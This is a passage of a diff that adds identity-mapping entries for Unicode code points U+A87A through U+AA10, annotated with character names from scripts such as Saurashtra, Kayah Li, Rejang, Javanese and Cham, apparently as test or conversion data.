+ ["\uA87A", "\uA87A"],
+ ["\uA87B", "\uA87B"],
+ ["\uA87C", "\uA87C"],
+ ["\uA87D", "\uA87D"],
+ ["\uA87E", "\uA87E"],
+ ["\uA87F", "\uA87F"],
+ ["\uA880", "\uA880"], /* SAURASHTRA SIGN ANUSVARA */
+ ["\uA881", "\uA881"], /* SAURASHTRA SIGN VISARGA */
+ ["\uA882", "\uA882"], /* SAURASHTRA LETTER A */
+ ["\uA883", "\uA883"], /* SAURASHTRA LETTER AA */
+ ["\uA884", "\uA884"], /* SAURASHTRA LETTER I */
+ ["\uA885", "\uA885"], /* SAURASHTRA LETTER II */
+ ["\uA886", "\uA886"], /* SAURASHTRA LETTER U */
+ ["\uA887", "\uA887"], /* SAURASHTRA LETTER UU */
+ ["\uA888", "\uA888"], /* SAURASHTRA LETTER VOCALIC R */
+ ["\uA889", "\uA889"], /* SAURASHTRA LETTER VOCALIC RR */
+ ["\uA88A", "\uA88A"], /* SAURASHTRA LETTER VOCALIC L */
+ ["\uA88B", "\uA88B"], /* SAURASHTRA LETTER VOCALIC LL */
+ ["\uA88C", "\uA88C"], /* SAURASHTRA LETTER E */
+ ["\uA88D", "\uA88D"], /* SAURASHTRA LETTER EE */
+ ["\uA88E", "\uA88E"], /* SAURASHTRA LETTER AI */
+ ["\uA88F", "\uA88F"], /* SAURASHTRA LETTER O */
+ ["\uA890", "\uA890"], /* SAURASHTRA LETTER OO */
+ ["\uA891", "\uA891"], /* SAURASHTRA LETTER AU */
+ ["\uA892", "\uA892"], /* SAURASHTRA LETTER KA */
+ ["\uA893", "\uA893"], /* SAURASHTRA LETTER KHA */
+ ["\uA894", "\uA894"], /* SAURASHTRA LETTER GA */
+ ["\uA895", "\uA895"], /* SAURASHTRA LETTER GHA */
+ ["\uA896", "\uA896"], /* SAURASHTRA LETTER NGA */
+ ["\uA897", "\uA897"], /* SAURASHTRA LETTER CA */
+ ["\uA898", "\uA898"], /* SAURASHTRA LETTER CHA */
+ ["\uA899", "\uA899"], /* SAURASHTRA LETTER JA */
+ ["\uA89A", "\uA89A"], /* SAURASHTRA LETTER JHA */
+ ["\uA89B", "\uA89B"], /* SAURASHTRA LETTER NYA */
+ ["\uA89C", "\uA89C"], /* SAURASHTRA LETTER TTA */
+ ["\uA89D", "\uA89D"], /* SAURASHTRA LETTER TTHA */
+ ["\uA89E", "\uA89E"], /* SAURASHTRA LETTER DDA */
+ ["\uA89F", "\uA89F"], /* SAURASHTRA LETTER DDHA */
+ ["\uA8A0", "\uA8A0"], /* SAURASHTRA LETTER NNA */
+ ["\uA8A1", "\uA8A1"], /* SAURASHTRA LETTER TA */
+ ["\uA8A2", "\uA8A2"], /* SAURASHTRA LETTER THA */
+ ["\uA8A3", "\uA8A3"], /* SAURASHTRA LETTER DA */
+ ["\uA8A4", "\uA8A4"], /* SAURASHTRA LETTER DHA */
+ ["\uA8A5", "\uA8A5"], /* SAURASHTRA LETTER NA */
+ ["\uA8A6", "\uA8A6"], /* SAURASHTRA LETTER PA */
+ ["\uA8A7", "\uA8A7"], /* SAURASHTRA LETTER PHA */
+ ["\uA8A8", "\uA8A8"], /* SAURASHTRA LETTER BA */
+ ["\uA8A9", "\uA8A9"], /* SAURASHTRA LETTER BHA */
+ ["\uA8AA", "\uA8AA"], /* SAURASHTRA LETTER MA */
+ ["\uA8AB", "\uA8AB"], /* SAURASHTRA LETTER YA */
+ ["\uA8AC", "\uA8AC"], /* SAURASHTRA LETTER RA */
+ ["\uA8AD", "\uA8AD"], /* SAURASHTRA LETTER LA */
+ ["\uA8AE", "\uA8AE"], /* SAURASHTRA LETTER VA */
+ ["\uA8AF", "\uA8AF"], /* SAURASHTRA LETTER SHA */
+ ["\uA8B0", "\uA8B0"], /* SAURASHTRA LETTER SSA */
+ ["\uA8B1", "\uA8B1"], /* SAURASHTRA LETTER SA */
+ ["\uA8B2", "\uA8B2"], /* SAURASHTRA LETTER HA */
+ ["\uA8B3", "\uA8B3"], /* SAURASHTRA LETTER LLA */
+ ["\uA8B4", "\uA8B4"], /* SAURASHTRA CONSONANT SIGN HAARU */
+ ["\uA8B5", "\uA8B5"], /* SAURASHTRA VOWEL SIGN AA */
+ ["\uA8B6", "\uA8B6"], /* SAURASHTRA VOWEL SIGN I */
+ ["\uA8B7", "\uA8B7"], /* SAURASHTRA VOWEL SIGN II */
+ ["\uA8B8", "\uA8B8"], /* SAURASHTRA VOWEL SIGN U */
+ ["\uA8B9", "\uA8B9"], /* SAURASHTRA VOWEL SIGN UU */
+ ["\uA8BA", "\uA8BA"], /* SAURASHTRA VOWEL SIGN VOCALIC R */
+ ["\uA8BB", "\uA8BB"], /* SAURASHTRA VOWEL SIGN VOCALIC RR */
+ ["\uA8BC", "\uA8BC"], /* SAURASHTRA VOWEL SIGN VOCALIC L */
+ ["\uA8BD", "\uA8BD"], /* SAURASHTRA VOWEL SIGN VOCALIC LL */
+ ["\uA8BE", "\uA8BE"], /* SAURASHTRA VOWEL SIGN E */
+ ["\uA8BF", "\uA8BF"], /* SAURASHTRA VOWEL SIGN EE */
+ ["\uA8C0", "\uA8C0"], /* SAURASHTRA VOWEL SIGN AI */
+ ["\uA8C1", "\uA8C1"], /* SAURASHTRA VOWEL SIGN O */
+ ["\uA8C2", "\uA8C2"], /* SAURASHTRA VOWEL SIGN OO */
+ ["\uA8C3", "\uA8C3"], /* SAURASHTRA VOWEL SIGN AU */
+ ["\uA8C4", "\uA8C4"], /* SAURASHTRA SIGN VIRAMA */
+ ["\uA8C5", "\uA8C5"], /* SAURASHTRA SIGN CANDRABINDU */
+ ["\uA8C6", "\uA8C6"],
+ ["\uA8C7", "\uA8C7"],
+ ["\uA8C8", "\uA8C8"],
+ ["\uA8C9", "\uA8C9"],
+ ["\uA8CA", "\uA8CA"],
+ ["\uA8CB", "\uA8CB"],
+ ["\uA8CC", "\uA8CC"],
+ ["\uA8CD", "\uA8CD"],
+ ["\uA8CE", "\uA8CE"], /* SAURASHTRA DANDA */
+ ["\uA8CF", "\uA8CF"], /* SAURASHTRA DOUBLE DANDA */
+ ["\uA8D0", "\uA8D0"], /* SAURASHTRA DIGIT ZERO */
+ ["\uA8D1", "\uA8D1"], /* SAURASHTRA DIGIT ONE */
+ ["\uA8D2", "\uA8D2"], /* SAURASHTRA DIGIT TWO */
+ ["\uA8D3", "\uA8D3"], /* SAURASHTRA DIGIT THREE */
+ ["\uA8D4", "\uA8D4"], /* SAURASHTRA DIGIT FOUR */
+ ["\uA8D5", "\uA8D5"], /* SAURASHTRA DIGIT FIVE */
+ ["\uA8D6", "\uA8D6"], /* SAURASHTRA DIGIT SIX */
+ ["\uA8D7", "\uA8D7"], /* SAURASHTRA DIGIT SEVEN */
+ ["\uA8D8", "\uA8D8"], /* SAURASHTRA DIGIT EIGHT */
+ ["\uA8D9", "\uA8D9"], /* SAURASHTRA DIGIT NINE */
+ ["\uA8DA", "\uA8DA"],
+ ["\uA8DB", "\uA8DB"],
+ ["\uA8DC", "\uA8DC"],
+ ["\uA8DD", "\uA8DD"],
+ ["\uA8DE", "\uA8DE"],
+ ["\uA8DF", "\uA8DF"],
+ ["\uA8E0", "\uA8E0"], /* COMBINING DEVANAGARI DIGIT ZERO */
+ ["\uA8E1", "\uA8E1"], /* COMBINING DEVANAGARI DIGIT ONE */
+ ["\uA8E2", "\uA8E2"], /* COMBINING DEVANAGARI DIGIT TWO */
+ ["\uA8E3", "\uA8E3"], /* COMBINING DEVANAGARI DIGIT THREE */
+ ["\uA8E4", "\uA8E4"], /* COMBINING DEVANAGARI DIGIT FOUR */
+ ["\uA8E5", "\uA8E5"], /* COMBINING DEVANAGARI DIGIT FIVE */
+ ["\uA8E6", "\uA8E6"], /* COMBINING DEVANAGARI DIGIT SIX */
+ ["\uA8E7", "\uA8E7"], /* COMBINING DEVANAGARI DIGIT SEVEN */
+ ["\uA8E8", "\uA8E8"], /* COMBINING DEVANAGARI DIGIT EIGHT */
+ ["\uA8E9", "\uA8E9"], /* COMBINING DEVANAGARI DIGIT NINE */
+ ["\uA8EA", "\uA8EA"], /* COMBINING DEVANAGARI LETTER A */
+ ["\uA8EB", "\uA8EB"], /* COMBINING DEVANAGARI LETTER U */
+ ["\uA8EC", "\uA8EC"], /* COMBINING DEVANAGARI LETTER KA */
+ ["\uA8ED", "\uA8ED"], /* COMBINING DEVANAGARI LETTER NA */
+ ["\uA8EE", "\uA8EE"], /* COMBINING DEVANAGARI LETTER PA */
+ ["\uA8EF", "\uA8EF"], /* COMBINING DEVANAGARI LETTER RA */
+ ["\uA8F0", "\uA8F0"], /* COMBINING DEVANAGARI LETTER VI */
+ ["\uA8F1", "\uA8F1"], /* COMBINING DEVANAGARI SIGN AVAGRAHA */
+ ["\uA8F2", "\uA8F2"], /* DEVANAGARI SIGN SPACING CANDRABINDU */
+ ["\uA8F3", "\uA8F3"], /* DEVANAGARI SIGN CANDRABINDU VIRAMA */
+ ["\uA8F4", "\uA8F4"], /* DEVANAGARI SIGN DOUBLE CANDRABINDU VIRAMA */
+ ["\uA8F5", "\uA8F5"], /* DEVANAGARI SIGN CANDRABINDU TWO */
+ ["\uA8F6", "\uA8F6"], /* DEVANAGARI SIGN CANDRABINDU THREE */
+ ["\uA8F7", "\uA8F7"], /* DEVANAGARI SIGN CANDRABINDU AVAGRAHA */
+ ["\uA8F8", "\uA8F8"], /* DEVANAGARI SIGN PUSHPIKA */
+ ["\uA8F9", "\uA8F9"], /* DEVANAGARI GAP FILLER */
+ ["\uA8FA", "\uA8FA"], /* DEVANAGARI CARET */
+ ["\uA8FB", "\uA8FB"], /* DEVANAGARI HEADSTROKE */
+ ["\uA8FC", "\uA8FC"], /* DEVANAGARI SIGN SIDDHAM */
+ ["\uA8FD", "\uA8FD"], /* DEVANAGARI JAIN OM */
+ ["\uA8FE", "\uA8FE"], /* DEVANAGARI LETTER AY */
+ ["\uA8FF", "\uA8FF"], /* DEVANAGARI VOWEL SIGN AY */
+ ["\uA900", "\uA900"], /* KAYAH LI DIGIT ZERO */
+ ["\uA901", "\uA901"], /* KAYAH LI DIGIT ONE */
+ ["\uA902", "\uA902"], /* KAYAH LI DIGIT TWO */
+ ["\uA903", "\uA903"], /* KAYAH LI DIGIT THREE */
+ ["\uA904", "\uA904"], /* KAYAH LI DIGIT FOUR */
+ ["\uA905", "\uA905"], /* KAYAH LI DIGIT FIVE */
+ ["\uA906", "\uA906"], /* KAYAH LI DIGIT SIX */
+ ["\uA907", "\uA907"], /* KAYAH LI DIGIT SEVEN */
+ ["\uA908", "\uA908"], /* KAYAH LI DIGIT EIGHT */
+ ["\uA909", "\uA909"], /* KAYAH LI DIGIT NINE */
+ ["\uA90A", "\uA90A"], /* KAYAH LI LETTER KA */
+ ["\uA90B", "\uA90B"], /* KAYAH LI LETTER KHA */
+ ["\uA90C", "\uA90C"], /* KAYAH LI LETTER GA */
+ ["\uA90D", "\uA90D"], /* KAYAH LI LETTER NGA */
+ ["\uA90E", "\uA90E"], /* KAYAH LI LETTER SA */
+ ["\uA90F", "\uA90F"], /* KAYAH LI LETTER SHA */
+ ["\uA910", "\uA910"], /* KAYAH LI LETTER ZA */
+ ["\uA911", "\uA911"], /* KAYAH LI LETTER NYA */
+ ["\uA912", "\uA912"], /* KAYAH LI LETTER TA */
+ ["\uA913", "\uA913"], /* KAYAH LI LETTER HTA */
+ ["\uA914", "\uA914"], /* KAYAH LI LETTER NA */
+ ["\uA915", "\uA915"], /* KAYAH LI LETTER PA */
+ ["\uA916", "\uA916"], /* KAYAH LI LETTER PHA */
+ ["\uA917", "\uA917"], /* KAYAH LI LETTER MA */
+ ["\uA918", "\uA918"], /* KAYAH LI LETTER DA */
+ ["\uA919", "\uA919"], /* KAYAH LI LETTER BA */
+ ["\uA91A", "\uA91A"], /* KAYAH LI LETTER RA */
+ ["\uA91B", "\uA91B"], /* KAYAH LI LETTER YA */
+ ["\uA91C", "\uA91C"], /* KAYAH LI LETTER LA */
+ ["\uA91D", "\uA91D"], /* KAYAH LI LETTER WA */
+ ["\uA91E", "\uA91E"], /* KAYAH LI LETTER THA */
+ ["\uA91F", "\uA91F"], /* KAYAH LI LETTER HA */
+ ["\uA920", "\uA920"], /* KAYAH LI LETTER VA */
+ ["\uA921", "\uA921"], /* KAYAH LI LETTER CA */
+ ["\uA922", "\uA922"], /* KAYAH LI LETTER A */
+ ["\uA923", "\uA923"], /* KAYAH LI LETTER OE */
+ ["\uA924", "\uA924"], /* KAYAH LI LETTER I */
+ ["\uA925", "\uA925"], /* KAYAH LI LETTER OO */
+ ["\uA926", "\uA926"], /* KAYAH LI VOWEL UE */
+ ["\uA927", "\uA927"], /* KAYAH LI VOWEL E */
+ ["\uA928", "\uA928"], /* KAYAH LI VOWEL U */
+ ["\uA929", "\uA929"], /* KAYAH LI VOWEL EE */
+ ["\uA92A", "\uA92A"], /* KAYAH LI VOWEL O */
+ ["\uA92B", "\uA92B"], /* KAYAH LI TONE PLOPHU */
+ ["\uA92C", "\uA92C"], /* KAYAH LI TONE CALYA */
+ ["\uA92D", "\uA92D"], /* KAYAH LI TONE CALYA PLOPHU */
+ ["\uA92E", "\uA92E"], /* KAYAH LI SIGN CWI */
+ ["\uA92F", "\uA92F"], /* KAYAH LI SIGN SHYA */
+ ["\uA930", "\uA930"], /* REJANG LETTER KA */
+ ["\uA931", "\uA931"], /* REJANG LETTER GA */
+ ["\uA932", "\uA932"], /* REJANG LETTER NGA */
+ ["\uA933", "\uA933"], /* REJANG LETTER TA */
+ ["\uA934", "\uA934"], /* REJANG LETTER DA */
+ ["\uA935", "\uA935"], /* REJANG LETTER NA */
+ ["\uA936", "\uA936"], /* REJANG LETTER PA */
+ ["\uA937", "\uA937"], /* REJANG LETTER BA */
+ ["\uA938", "\uA938"], /* REJANG LETTER MA */
+ ["\uA939", "\uA939"], /* REJANG LETTER CA */
+ ["\uA93A", "\uA93A"], /* REJANG LETTER JA */
+ ["\uA93B", "\uA93B"], /* REJANG LETTER NYA */
+ ["\uA93C", "\uA93C"], /* REJANG LETTER SA */
+ ["\uA93D", "\uA93D"], /* REJANG LETTER RA */
+ ["\uA93E", "\uA93E"], /* REJANG LETTER LA */
+ ["\uA93F", "\uA93F"], /* REJANG LETTER YA */
+ ["\uA940", "\uA940"], /* REJANG LETTER WA */
+ ["\uA941", "\uA941"], /* REJANG LETTER HA */
+ ["\uA942", "\uA942"], /* REJANG LETTER MBA */
+ ["\uA943", "\uA943"], /* REJANG LETTER NGGA */
+ ["\uA944", "\uA944"], /* REJANG LETTER NDA */
+ ["\uA945", "\uA945"], /* REJANG LETTER NYJA */
+ ["\uA946", "\uA946"], /* REJANG LETTER A */
+ ["\uA947", "\uA947"], /* REJANG VOWEL SIGN I */
+ ["\uA948", "\uA948"], /* REJANG VOWEL SIGN U */
+ ["\uA949", "\uA949"], /* REJANG VOWEL SIGN E */
+ ["\uA94A", "\uA94A"], /* REJANG VOWEL SIGN AI */
+ ["\uA94B", "\uA94B"], /* REJANG VOWEL SIGN O */
+ ["\uA94C", "\uA94C"], /* REJANG VOWEL SIGN AU */
+ ["\uA94D", "\uA94D"], /* REJANG VOWEL SIGN EU */
+ ["\uA94E", "\uA94E"], /* REJANG VOWEL SIGN EA */
+ ["\uA94F", "\uA94F"], /* REJANG CONSONANT SIGN NG */
+ ["\uA950", "\uA950"], /* REJANG CONSONANT SIGN N */
+ ["\uA951", "\uA951"], /* REJANG CONSONANT SIGN R */
+ ["\uA952", "\uA952"], /* REJANG CONSONANT SIGN H */
+ ["\uA953", "\uA953"], /* REJANG VIRAMA */
+ ["\uA954", "\uA954"],
+ ["\uA955", "\uA955"],
+ ["\uA956", "\uA956"],
+ ["\uA957", "\uA957"],
+ ["\uA958", "\uA958"],
+ ["\uA959", "\uA959"],
+ ["\uA95A", "\uA95A"],
+ ["\uA95B", "\uA95B"],
+ ["\uA95C", "\uA95C"],
+ ["\uA95D", "\uA95D"],
+ ["\uA95E", "\uA95E"],
+ ["\uA95F", "\uA95F"], /* REJANG SECTION MARK */
+ ["\uA960", "\uA960"], /* HANGUL CHOSEONG TIKEUT-MIEUM */
+ ["\uA961", "\uA961"], /* HANGUL CHOSEONG TIKEUT-PIEUP */
+ ["\uA962", "\uA962"], /* HANGUL CHOSEONG TIKEUT-SIOS */
+ ["\uA963", "\uA963"], /* HANGUL CHOSEONG TIKEUT-CIEUC */
+ ["\uA964", "\uA964"], /* HANGUL CHOSEONG RIEUL-KIYEOK */
+ ["\uA965", "\uA965"], /* HANGUL CHOSEONG RIEUL-SSANGKIYEOK */
+ ["\uA966", "\uA966"], /* HANGUL CHOSEONG RIEUL-TIKEUT */
+ ["\uA967", "\uA967"], /* HANGUL CHOSEONG RIEUL-SSANGTIKEUT */
+ ["\uA968", "\uA968"], /* HANGUL CHOSEONG RIEUL-MIEUM */
+ ["\uA969", "\uA969"], /* HANGUL CHOSEONG RIEUL-PIEUP */
+ ["\uA96A", "\uA96A"], /* HANGUL CHOSEONG RIEUL-SSANGPIEUP */
+ ["\uA96B", "\uA96B"], /* HANGUL CHOSEONG RIEUL-KAPYEOUNPIEUP */
+ ["\uA96C", "\uA96C"], /* HANGUL CHOSEONG RIEUL-SIOS */
+ ["\uA96D", "\uA96D"], /* HANGUL CHOSEONG RIEUL-CIEUC */
+ ["\uA96E", "\uA96E"], /* HANGUL CHOSEONG RIEUL-KHIEUKH */
+ ["\uA96F", "\uA96F"], /* HANGUL CHOSEONG MIEUM-KIYEOK */
+ ["\uA970", "\uA970"], /* HANGUL CHOSEONG MIEUM-TIKEUT */
+ ["\uA971", "\uA971"], /* HANGUL CHOSEONG MIEUM-SIOS */
+ ["\uA972", "\uA972"], /* HANGUL CHOSEONG PIEUP-SIOS-THIEUTH */
+ ["\uA973", "\uA973"], /* HANGUL CHOSEONG PIEUP-KHIEUKH */
+ ["\uA974", "\uA974"], /* HANGUL CHOSEONG PIEUP-HIEUH */
+ ["\uA975", "\uA975"], /* HANGUL CHOSEONG SSANGSIOS-PIEUP */
+ ["\uA976", "\uA976"], /* HANGUL CHOSEONG IEUNG-RIEUL */
+ ["\uA977", "\uA977"], /* HANGUL CHOSEONG IEUNG-HIEUH */
+ ["\uA978", "\uA978"], /* HANGUL CHOSEONG SSANGCIEUC-HIEUH */
+ ["\uA979", "\uA979"], /* HANGUL CHOSEONG SSANGTHIEUTH */
+ ["\uA97A", "\uA97A"], /* HANGUL CHOSEONG PHIEUPH-HIEUH */
+ ["\uA97B", "\uA97B"], /* HANGUL CHOSEONG HIEUH-SIOS */
+ ["\uA97C", "\uA97C"], /* HANGUL CHOSEONG SSANGYEORINHIEUH */
+ ["\uA97D", "\uA97D"],
+ ["\uA97E", "\uA97E"],
+ ["\uA97F", "\uA97F"],
+ ["\uA980", "\uA980"], /* JAVANESE SIGN PANYANGGA */
+ ["\uA981", "\uA981"], /* JAVANESE SIGN CECAK */
+ ["\uA982", "\uA982"], /* JAVANESE SIGN LAYAR */
+ ["\uA983", "\uA983"], /* JAVANESE SIGN WIGNYAN */
+ ["\uA984", "\uA984"], /* JAVANESE LETTER A */
+ ["\uA985", "\uA985"], /* JAVANESE LETTER I KAWI */
+ ["\uA986", "\uA986"], /* JAVANESE LETTER I */
+ ["\uA987", "\uA987"], /* JAVANESE LETTER II */
+ ["\uA988", "\uA988"], /* JAVANESE LETTER U */
+ ["\uA989", "\uA989"], /* JAVANESE LETTER PA CEREK */
+ ["\uA98A", "\uA98A"], /* JAVANESE LETTER NGA LELET */
+ ["\uA98B", "\uA98B"], /* JAVANESE LETTER NGA LELET RASWADI */
+ ["\uA98C", "\uA98C"], /* JAVANESE LETTER E */
+ ["\uA98D", "\uA98D"], /* JAVANESE LETTER AI */
+ ["\uA98E", "\uA98E"], /* JAVANESE LETTER O */
+ ["\uA98F", "\uA98F"], /* JAVANESE LETTER KA */
+ ["\uA990", "\uA990"], /* JAVANESE LETTER KA SASAK */
+ ["\uA991", "\uA991"], /* JAVANESE LETTER KA MURDA */
+ ["\uA992", "\uA992"], /* JAVANESE LETTER GA */
+ ["\uA993", "\uA993"], /* JAVANESE LETTER GA MURDA */
+ ["\uA994", "\uA994"], /* JAVANESE LETTER NGA */
+ ["\uA995", "\uA995"], /* JAVANESE LETTER CA */
+ ["\uA996", "\uA996"], /* JAVANESE LETTER CA MURDA */
+ ["\uA997", "\uA997"], /* JAVANESE LETTER JA */
+ ["\uA998", "\uA998"], /* JAVANESE LETTER NYA MURDA */
+ ["\uA999", "\uA999"], /* JAVANESE LETTER JA MAHAPRANA */
+ ["\uA99A", "\uA99A"], /* JAVANESE LETTER NYA */
+ ["\uA99B", "\uA99B"], /* JAVANESE LETTER TTA */
+ ["\uA99C", "\uA99C"], /* JAVANESE LETTER TTA MAHAPRANA */
+ ["\uA99D", "\uA99D"], /* JAVANESE LETTER DDA */
+ ["\uA99E", "\uA99E"], /* JAVANESE LETTER DDA MAHAPRANA */
+ ["\uA99F", "\uA99F"], /* JAVANESE LETTER NA MURDA */
+ ["\uA9A0", "\uA9A0"], /* JAVANESE LETTER TA */
+ ["\uA9A1", "\uA9A1"], /* JAVANESE LETTER TA MURDA */
+ ["\uA9A2", "\uA9A2"], /* JAVANESE LETTER DA */
+ ["\uA9A3", "\uA9A3"], /* JAVANESE LETTER DA MAHAPRANA */
+ ["\uA9A4", "\uA9A4"], /* JAVANESE LETTER NA */
+ ["\uA9A5", "\uA9A5"], /* JAVANESE LETTER PA */
+ ["\uA9A6", "\uA9A6"], /* JAVANESE LETTER PA MURDA */
+ ["\uA9A7", "\uA9A7"], /* JAVANESE LETTER BA */
+ ["\uA9A8", "\uA9A8"], /* JAVANESE LETTER BA MURDA */
+ ["\uA9A9", "\uA9A9"], /* JAVANESE LETTER MA */
+ ["\uA9AA", "\uA9AA"], /* JAVANESE LETTER YA */
+ ["\uA9AB", "\uA9AB"], /* JAVANESE LETTER RA */
+ ["\uA9AC", "\uA9AC"], /* JAVANESE LETTER RA AGUNG */
+ ["\uA9AD", "\uA9AD"], /* JAVANESE LETTER LA */
+ ["\uA9AE", "\uA9AE"], /* JAVANESE LETTER WA */
+ ["\uA9AF", "\uA9AF"], /* JAVANESE LETTER SA MURDA */
+ ["\uA9B0", "\uA9B0"], /* JAVANESE LETTER SA MAHAPRANA */
+ ["\uA9B1", "\uA9B1"], /* JAVANESE LETTER SA */
+ ["\uA9B2", "\uA9B2"], /* JAVANESE LETTER HA */
+ ["\uA9B3", "\uA9B3"], /* JAVANESE SIGN CECAK TELU */
+ ["\uA9B4", "\uA9B4"], /* JAVANESE VOWEL SIGN TARUNG */
+ ["\uA9B5", "\uA9B5"], /* JAVANESE VOWEL SIGN TOLONG */
+ ["\uA9B6", "\uA9B6"], /* JAVANESE VOWEL SIGN WULU */
+ ["\uA9B7", "\uA9B7"], /* JAVANESE VOWEL SIGN WULU MELIK */
+ ["\uA9B8", "\uA9B8"], /* JAVANESE VOWEL SIGN SUKU */
+ ["\uA9B9", "\uA9B9"], /* JAVANESE VOWEL SIGN SUKU MENDUT */
+ ["\uA9BA", "\uA9BA"], /* JAVANESE VOWEL SIGN TALING */
+ ["\uA9BB", "\uA9BB"], /* JAVANESE VOWEL SIGN DIRGA MURE */
+ ["\uA9BC", "\uA9BC"], /* JAVANESE VOWEL SIGN PEPET */
+ ["\uA9BD", "\uA9BD"], /* JAVANESE CONSONANT SIGN KERET */
+ ["\uA9BE", "\uA9BE"], /* JAVANESE CONSONANT SIGN PENGKAL */
+ ["\uA9BF", "\uA9BF"], /* JAVANESE CONSONANT SIGN CAKRA */
+ ["\uA9C0", "\uA9C0"], /* JAVANESE PANGKON */
+ ["\uA9C1", "\uA9C1"], /* JAVANESE LEFT RERENGGAN */
+ ["\uA9C2", "\uA9C2"], /* JAVANESE RIGHT RERENGGAN */
+ ["\uA9C3", "\uA9C3"], /* JAVANESE PADA ANDAP */
+ ["\uA9C4", "\uA9C4"], /* JAVANESE PADA MADYA */
+ ["\uA9C5", "\uA9C5"], /* JAVANESE PADA LUHUR */
+ ["\uA9C6", "\uA9C6"], /* JAVANESE PADA WINDU */
+ ["\uA9C7", "\uA9C7"], /* JAVANESE PADA PANGKAT */
+ ["\uA9C8", "\uA9C8"], /* JAVANESE PADA LINGSA */
+ ["\uA9C9", "\uA9C9"], /* JAVANESE PADA LUNGSI */
+ ["\uA9CA", "\uA9CA"], /* JAVANESE PADA ADEG */
+ ["\uA9CB", "\uA9CB"], /* JAVANESE PADA ADEG ADEG */
+ ["\uA9CC", "\uA9CC"], /* JAVANESE PADA PISELEH */
+ ["\uA9CD", "\uA9CD"], /* JAVANESE TURNED PADA PISELEH */
+ ["\uA9CE", "\uA9CE"],
+ ["\uA9CF", "\uA9CF"], /* JAVANESE PANGRANGKEP */
+ ["\uA9D0", "\uA9D0"], /* JAVANESE DIGIT ZERO */
+ ["\uA9D1", "\uA9D1"], /* JAVANESE DIGIT ONE */
+ ["\uA9D2", "\uA9D2"], /* JAVANESE DIGIT TWO */
+ ["\uA9D3", "\uA9D3"], /* JAVANESE DIGIT THREE */
+ ["\uA9D4", "\uA9D4"], /* JAVANESE DIGIT FOUR */
+ ["\uA9D5", "\uA9D5"], /* JAVANESE DIGIT FIVE */
+ ["\uA9D6", "\uA9D6"], /* JAVANESE DIGIT SIX */
+ ["\uA9D7", "\uA9D7"], /* JAVANESE DIGIT SEVEN */
+ ["\uA9D8", "\uA9D8"], /* JAVANESE DIGIT EIGHT */
+ ["\uA9D9", "\uA9D9"], /* JAVANESE DIGIT NINE */
+ ["\uA9DA", "\uA9DA"],
+ ["\uA9DB", "\uA9DB"],
+ ["\uA9DC", "\uA9DC"],
+ ["\uA9DD", "\uA9DD"],
+ ["\uA9DE", "\uA9DE"], /* JAVANESE PADA TIRTA TUMETES */
+ ["\uA9DF", "\uA9DF"], /* JAVANESE PADA ISEN-ISEN */
+ ["\uA9E0", "\uA9E0"], /* MYANMAR LETTER SHAN GHA */
+ ["\uA9E1", "\uA9E1"], /* MYANMAR LETTER SHAN CHA */
+ ["\uA9E2", "\uA9E2"], /* MYANMAR LETTER SHAN JHA */
+ ["\uA9E3", "\uA9E3"], /* MYANMAR LETTER SHAN NNA */
+ ["\uA9E4", "\uA9E4"], /* MYANMAR LETTER SHAN BHA */
+ ["\uA9E5", "\uA9E5"], /* MYANMAR SIGN SHAN SAW */
+ ["\uA9E6", "\uA9E6"], /* MYANMAR MODIFIER LETTER SHAN REDUPLICATION */
+ ["\uA9E7", "\uA9E7"], /* MYANMAR LETTER TAI LAING NYA */
+ ["\uA9E8", "\uA9E8"], /* MYANMAR LETTER TAI LAING FA */
+ ["\uA9E9", "\uA9E9"], /* MYANMAR LETTER TAI LAING GA */
+ ["\uA9EA", "\uA9EA"], /* MYANMAR LETTER TAI LAING GHA */
+ ["\uA9EB", "\uA9EB"], /* MYANMAR LETTER TAI LAING JA */
+ ["\uA9EC", "\uA9EC"], /* MYANMAR LETTER TAI LAING JHA */
+ ["\uA9ED", "\uA9ED"], /* MYANMAR LETTER TAI LAING DDA */
+ ["\uA9EE", "\uA9EE"], /* MYANMAR LETTER TAI LAING DDHA */
+ ["\uA9EF", "\uA9EF"], /* MYANMAR LETTER TAI LAING NNA */
+ ["\uA9F0", "\uA9F0"], /* MYANMAR TAI LAING DIGIT ZERO */
+ ["\uA9F1", "\uA9F1"], /* MYANMAR TAI LAING DIGIT ONE */
+ ["\uA9F2", "\uA9F2"], /* MYANMAR TAI LAING DIGIT TWO */
+ ["\uA9F3", "\uA9F3"], /* MYANMAR TAI LAING DIGIT THREE */
+ ["\uA9F4", "\uA9F4"], /* MYANMAR TAI LAING DIGIT FOUR */
+ ["\uA9F5", "\uA9F5"], /* MYANMAR TAI LAING DIGIT FIVE */
+ ["\uA9F6", "\uA9F6"], /* MYANMAR TAI LAING DIGIT SIX */
+ ["\uA9F7", "\uA9F7"], /* MYANMAR TAI LAING DIGIT SEVEN */
+ ["\uA9F8", "\uA9F8"], /* MYANMAR TAI LAING DIGIT EIGHT */
+ ["\uA9F9", "\uA9F9"], /* MYANMAR TAI LAING DIGIT NINE */
+ ["\uA9FA", "\uA9FA"], /* MYANMAR LETTER TAI LAING LLA */
+ ["\uA9FB", "\uA9FB"], /* MYANMAR LETTER TAI LAING DA */
+ ["\uA9FC", "\uA9FC"], /* MYANMAR LETTER TAI LAING DHA */
+ ["\uA9FD", "\uA9FD"], /* MYANMAR LETTER TAI LAING BA */
+ ["\uA9FE", "\uA9FE"], /* MYANMAR LETTER TAI LAING BHA */
+ ["\uA9FF", "\uA9FF"],
+ ["\uAA00", "\uAA00"], /* CHAM LETTER A */
+ ["\uAA01", "\uAA01"], /* CHAM LETTER I */
+ ["\uAA02", "\uAA02"], /* CHAM LETTER U */
+ ["\uAA03", "\uAA03"], /* CHAM LETTER E */
+ ["\uAA04", "\uAA04"], /* CHAM LETTER AI */
+ ["\uAA05", "\uAA05"], /* CHAM LETTER O */
+ ["\uAA06", "\uAA06"], /* CHAM LETTER KA */
+ ["\uAA07", "\uAA07"], /* CHAM LETTER KHA */
+ ["\uAA08", "\uAA08"], /* CHAM LETTER GA */
+ ["\uAA09", "\uAA09"], /* CHAM LETTER GHA */
+ ["\uAA0A", "\uAA0A"], /* CHAM LETTER NGUE */
+ ["\uAA0B", "\uAA0B"], /* CHAM LETTER NGA */
+ ["\uAA0C", "\uAA0C"], /* CHAM LETTER CHA */
+ ["\uAA0D", "\uAA0D"], /* CHAM LETTER CHHA */
+ ["\uAA0E", "\uAA0E"], /* CHAM LETTER JA */
+ ["\uAA0F", "\uAA0F"], /* CHAM LETTER JHA */
+ ["\uAA10", "\uAA10"], /* CHAM LETTER NHUE */
